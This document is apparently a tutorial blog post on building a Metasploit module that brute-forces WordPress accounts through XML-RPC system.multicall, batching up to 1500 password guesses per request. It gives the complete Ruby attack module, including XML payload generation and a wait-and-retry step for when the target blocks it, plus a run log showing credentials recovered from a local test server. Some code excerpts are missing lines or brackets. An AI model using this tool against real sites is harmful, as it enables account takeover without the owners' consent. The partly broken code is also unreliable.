Auxiliary module

    WordPress CMS framework support XML-RPC service to interact with almost all functions in the framework. Some functions require authentication. The main issues lies in the you can authenticate many times within the same request. WordPress accepts about 1788 lines of XML request which allows us to send tremendous number of login tries in a single request. So how awesome is this? Let me explain.

    Imagine that you have to brute force one user with 6000 passwords? How many requests you have to send in the normal brute force technique? It’s 6000 requests. Using our module will need to 4 requests only of you use the default CHUNKSIZE which is 1500 password per request!!!. NO MULTI-THREADING even you use multi-threading in the traditional brute force technique you’ll send 6000 request a few of its are parallel.

    So from above you can understand how the XML request will be build. Now How the reply will be?
    To simplify this we’ll test a single user once with wrong password another with correct password to understand the response behavior 

    2. <methodResponse>
    3.   <params>
    4.     <param>
    5.       <value>
    6.         <array>
    7.           <data>
    8.             <value>
    9.               <struct>
    10.                 <member>
    11.                   <name>faultCode</name>
    12.                   <value>
    13.                     <int>403</int>
    14.                   </value>
    15.                 </member>
    16.                 <member>
    17.                   <name>faultString</name>
    18.                   <value>
    19.                     <string>Incorrect username or password.</string>
    20.                   </value>
    21.                 </member>
    22.               </struct>
    23.             </value>
    24.           </data>
    25.         </array>
    26.       </value>
    27.     </param>
    28.   </params>
    29. </methodResponse>

    We noticed the following

    • <name>faultCode</name>
    • <int>403</int>
    • <string>Incorrect username or password.</string>

    Usually we rely one the string response ‘Incorrect username or password.‘, but what if the WordPress language wasn’t English? so the best thing is the integer response which is 403

    correct password response

    1. <?xml version="1.0" encoding="UTF-8"?>
    2. <methodResponse>
    3.   <params>
    4.     <param>
    5.       <value>
    6.         <array>
    7.           <data>
    8.             <value>
    9.               <array>
    10.                 <data>
    11.                   <value>
    12.                     <array>
    13.                       <data>
    14.                         <value>
    15.                           <struct>
    16.                             <member>
    17.                               <name>isAdmin</name>
    18.                               <value>
    19.                                 <boolean>1</boolean>
    20.                               </value>
    21.                             </member>
    22.                             <member>
    23.                               <name>url</name>
    24.                               <value>
    25.                                 <string>http://172.17.0.3/</string>
    26.                               </value>
    27.                             </member>
    28.                             <member>
    29.                               <name>blogid</name>
    30.                               <value>
    31.                                 <string>1</string>
    32.                               </value>
    33.                             </member>
    34.                             <member>
    35.                               <name>blogName</name>
    36.                               <value>
    37.                                 <string>Docker wordpress</string>
    38.                               </value>
    39.                             </member>
    40.                             <member>
    41.                               <name>xmlrpc</name>
    42.                               <value>
    43.                                 <string>http://172.17.0.3/xmlrpc.php</string>
    44.                               </value>
    45.                             </member>
    46.                           </struct>
    47.                         </value>
    48.                       </data>
    49.                     </array>
    50.                   </value>
    51.                 </data>
    52.               </array>
    53.             </value>
    54.           </data>
    55.         </array>
    56.       </value>
    57.     </param>
    58.   </params>
    59. </methodResponse>

    Awesome, right?

    The tricky part is just begun! Since we will be sending thousands of passwords in one request and the reply will be rally huge XML files, how we’ll find the position of the correct credentials? The answer is, by using the powerful ruby iteration methods, particularly each_with_index method.

    Enough talking, show me the code!

    What do we want?

    • Create Auxiliary module
    • Deal with Web Application
    • Deal with WordPress
    • Describe The module
    • Let people know we created this module
    • Add references about the vulnerability that we exploit
    • Options to set the target URI, port, user, pass list.
    • Read username and password lists as arrays
    • Build/Generate XML file takes a user and iterate around the passwords
    • Check if target is running WordPress
    • Check if target enabling RPC
    • Setup the HTTP with XML POST request
    • Parse XML request and response
    • Find the exact correct credentials
    • Check if we got blocked
    • Parsing the result and find which password is correct
    • Check if the module has been written correctly (msftidy.rb)

    Steps

    • Create Auxiliary module
    • Deal with Web Application
    • Deal with WordPress
    • Describe The module
    • Let people know we created this module
    • Add references about the vulnerability that we exploit
    • Options to set the target URI, port, user, pass list.
    1. ##
    2. # This module requires Metasploit: http://www.metasploit.com/download
    3. # Current source: https://github.com/rapid7/metasploit-framework
    4. ##
    6. require 'msf/core'
    8. class Metasploit3 < Msf::Auxiliary
    9.   include Msf::Exploit::Remote::HttpClient
    10.   include Msf::Exploit::Remote::HTTP::Wordpress
    12.   def initialize(info = {})
    13.     super(update_info(
    14.             info,
    15.             'Name'         => 'WordPress XML-RPC Massive Brute Force',
    16.             'Description'  => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
    17.             'License'      => MSF_LICENSE,
    18.             'Author'       =>
    19.                 [
    20.                   'Sabri (@KINGSABRI)',           # Module Writer
    21.                   'William (WCoppola@Lares.com)'  # Module Requester
    22.                 ],
    23.             'References'   =>
    24.                 [
    25.                   ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
    26.                   ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
    27.                 ]
    28.           ))
    30.     register_options(
    31.         [
    32.           OptString.new('TARGETURI', [true, 'The base path', '/']),
    33.           OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
    34.                                       File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
    35.           OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
    36.                                       File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
    37.           OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
    38.           OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
    39.   end
    40. end
    • Read username and password lists as arrays
    • Build/Generate XML file takes a user and iterate around the passwords
    1.   #
    2.   # XML Factory
    3.   #
    4.   def generate_xml(user)
    6.     vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
    7.     xml_payloads = []                          # Container for all generated XMLs
    8.     # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
    9.     passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
    11.       document = Nokogiri::XML::Builder.new do |xml|
    13.           xml.methodName("system.multicall")
    14.           xml.params {
    15.           xml.param {
    16.           xml.value {
    17.           xml.array {
    18.           xml.data {
    20.         pass_group.each  do |pass|
    21.           xml.value {
    22.           xml.struct {
    23.           xml.member {
    24.           xml.name("methodName")
    25.           xml.value { xml.string("wp.getUsersBlogs") }}
    26.             xml.member {
    27.             xml.name("params")
    28.             xml.value {
    29.             xml.array {
    30.             xml.data {
    31.             xml.value {
    32.             xml.array {
    33.               xml.data {
    34.                 xml.value { xml.string(user) }
    35.                 xml.value { xml.string(pass) }
    36.           }}}}}}}}}
    37.         end
    39.           }}}}}}
    40.       end
    42.       xml_payloads << document.to_xml
    43.     end
    45.     vprint_status('Generating XMLs just done.')
    46.     xml_payloads
    47.   end
    • Check if target is running WordPress
    • Check if target enabling RPC
    1.   #
    2.   # Check target status
    3.   #
    4.   def check_wpstatus
    5.     print_status("Checking #{peer} status!")
    7.     if !wordpress_and_online?
    8.       print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
    9.       nil
    10.     elsif !wordpress_xmlrpc_enabled?
    11.       print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
    12.       nil
    13.     else
    14.       print_status("Target #{peer} is running WordPress")
    15.       true
    16.     end
    18.   end
    • Setup the HTTP with XML POST request
    1.   #
    2.   # Connection Setup
    3.   #
    4.   def send(xml)
    5.     uri  = target_uri.path
    6.     opts =
    7.       {
    8.         'method'  => 'POST',
    9.         'uri'     => normalize_uri(uri, wordpress_url_xmlrpc),
    10.         'data'    => xml,
    11.         'ctype'   =>'text/xml'
    12.       }
    13.     client = Rex::Proto::Http::Client.new(rhost)
    14.     client.connect
    15.     req  = client.request_cgi(opts)
    16.     res  = client.send_recv(req)
    18.     if res && res.code != 200
    19.       print_error('It seems you got blocked!')
    20.       print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
    21.       sleep datastore['BLOCKEDWAIT'] * 60
    22.     end
    23.     @res = res
    24.   end
    • Parse XML request and response
    • Find the exact correct credentials
    • Check if we got blocked
    • Parsing the result and find which password is correct

    Wrapping up

    1. ##
    2. # This module requires Metasploit: http://www.metasploit.com/download
    3. # Current source: https://github.com/rapid7/metasploit-framework
    4. ##
    6. require 'msf/core'
    8. class Metasploit3 < Msf::Auxiliary
    9.   include Msf::Exploit::Remote::HttpClient
    10.   include Msf::Exploit::Remote::HTTP::Wordpress
    12.   def initialize(info = {})
    13.     super(update_info(
    14.             info,
    15.             'Name'         => 'WordPress XML-RPC Massive Brute Force',
    16.             'Description'  => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
    17.             'License'      => MSF_LICENSE,
    18.             'Author'       =>
    19.                 [
    20.                   'Sabri (@KINGSABRI)',           # Module Writer
    21.                   'William (WCoppola@Lares.com)'  # Module Requester
    22.                 ],
    23.             'References'   =>
    24.                 [
    25.                   ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
    26.                   ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
    27.                 ]
    28.           ))
    30.     register_options(
    31.         [
    32.           OptString.new('TARGETURI', [true, 'The base path', '/']),
    33.           OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
    34.                                       File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
    35.           OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
    36.                                       File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
    37.           OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
    38.           OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
    39.         ], self.class)
    40.   end
    42.   def usernames
    43.     File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
    44.   end
    46.   def passwords
    47.     File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
    48.   end
    50.   #
    51.   # XML Factory
    52.   #
    53.   def generate_xml(user)
    55.     vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
    56.     xml_payloads = []                          # Container for all generated XMLs
    57.     # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
    58.     passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
    59.       document = Nokogiri::XML::Builder.new do |xml|
    60.         xml.methodCall {
    61.           xml.methodName("system.multicall")
    62.           xml.params {
    63.           xml.param {
    64.           xml.value {
    65.           xml.array {
    66.           xml.data {
    69.           xml.value {
    70.           xml.struct {
    71.           xml.member {
    72.           xml.name("methodName")
    73.           xml.value { xml.string("wp.getUsersBlogs") }}
    74.             xml.member {
    75.             xml.name("params")
    76.             xml.value {
    77.             xml.array {
    78.             xml.data {
    79.             xml.value {
    80.             xml.array {
    81.               xml.data {
    82.                 xml.value { xml.string(user) }
    83.                 xml.value { xml.string(pass) }
    84.           }}}}}}}}}
    85.         end
    87.           }}}}}}
    88.       end
    90.       xml_payloads << document.to_xml
    91.     end
    93.     vprint_status('Generating XMLs just done.')
    94.     xml_payloads
    95.   end
    97.   #
    98.   # Check target status
    99.   #
    100.   def check_wpstatus
    101.     print_status("Checking #{peer} status!")
    103.     if !wordpress_and_online?
    104.       print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
    105.       nil
    106.     elsif !wordpress_xmlrpc_enabled?
    107.       print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
    108.       nil
    109.     else
    110.       print_status("Target #{peer} is running WordPress")
    111.       true
    112.     end
    114.   end
    116.   #
    117.   # Connection Setup
    118.   #
    119.   def send(xml)
    120.     uri  = target_uri.path
    121.     opts =
    122.       {
    123.         'method'  => 'POST',
    124.         'uri'     => normalize_uri(uri, wordpress_url_xmlrpc),
    125.         'data'    => xml,
    126.         'ctype'   =>'text/xml'
    127.       }
    128.     client = Rex::Proto::Http::Client.new(rhost)
    129.     client.connect
    130.     req  = client.request_cgi(opts)
    131.     res  = client.send_recv(req)
    133.     if res && res.code != 200
    134.       print_error('It seems you got blocked!')
    135.       print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
    136.       sleep datastore['BLOCKEDWAIT'] * 60
    137.     end
    138.     @res = res
    139.   end
    141.   def run
    142.     return if check_wpstatus.nil?
    144.     usernames.each do |user|
    145.       passfound = false
    147.       print_status("Brute forcing user: #{user}")
    148.       generate_xml(user).each do |xml|
    149.         next if passfound == true
    151.         send(xml)
    153.         # Request Parser
    154.         req_xml = Nokogiri::Slop xml
    155.         # Response Parser
    156.         res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
    157.         puts res_xml 
    158.         res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
    160.           result =  value.at("struct/member/value/int")
    161.           # If response error code doesn't not exist
    162.           if result.nil?
    163.             user = req_xml.search("data/value/array/data")[i].value[0].text.strip
    164.             pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
    165.             print_good("Credentials Found! #{user}:#{pass}")
    167.             passfound = true
    168.           end
    170.         end
    172.         unless user == usernames.last
    173.           vprint_status('Sleeping for 2 seconds..')
    174.           sleep 2
    175.         end
    177.   end end end
    178. end
    • Check if the module has been written correctly (msftidy.rb)
    1. metasploit-framework/tools/dev/msftidy.rb wordpress_xmlrpc_massive_bruteforce.rb
    1. msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > show options 
    3. Module options (auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce):
    5.    Name         Current Setting                                                                 Required  Description
    6.    ----         ---------------                                                                 --------  -----------
    7.    BLOCKEDWAIT  6                                                                               yes       Time(minutes) to wait if got blocked
    8.    CHUNKSIZE    1500                                                                            yes       Number of passwords need to be sent per request. (1700 is the max)
    9.    Proxies                                                                                      no        A proxy chain of format type:host:port[,type:host:port][...]
    10.    RHOST        172.17.0.3                                                                      yes       The target address
    11.    RPORT        80                                                                              yes       The target port
    12.    TARGETURI    /                                                                               yes       The base path
    13.    VHOST                                                                                        no        HTTP server virtual host
    14.    WPPASS_FILE  /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_pass.txt   yes       File containing passwords, one per line
    15.    WPUSER_FILE  /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_users.txt  yes       File containing usernames, one per line
    17. msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > run
    19. [*] Checking 172.17.0.3:80 status!
    20. [*] Target 172.17.0.3:80 is running WordPress
    21. [*] Brute forcing user: admin
    22. [+] Credentials Found! admin:password
    23. [*] Brute forcing user: manager
    24. [*] Brute forcing user: root
    25. [*] Brute forcing user: cisco
    26. [*] Brute forcing user: apc
    27. [*] Brute forcing user: pass
    28. [*] Brute forcing user: security
    29. [*] Brute forcing user: user
    30. [*] Brute forcing user: system
    31. [+] Credentials Found! system:root
    32. [*] Brute forcing user: sys
    33. [*] Brute forcing user: wampp
    34. [*] Brute forcing user: newuser
    36. [*] Auxiliary module execution completed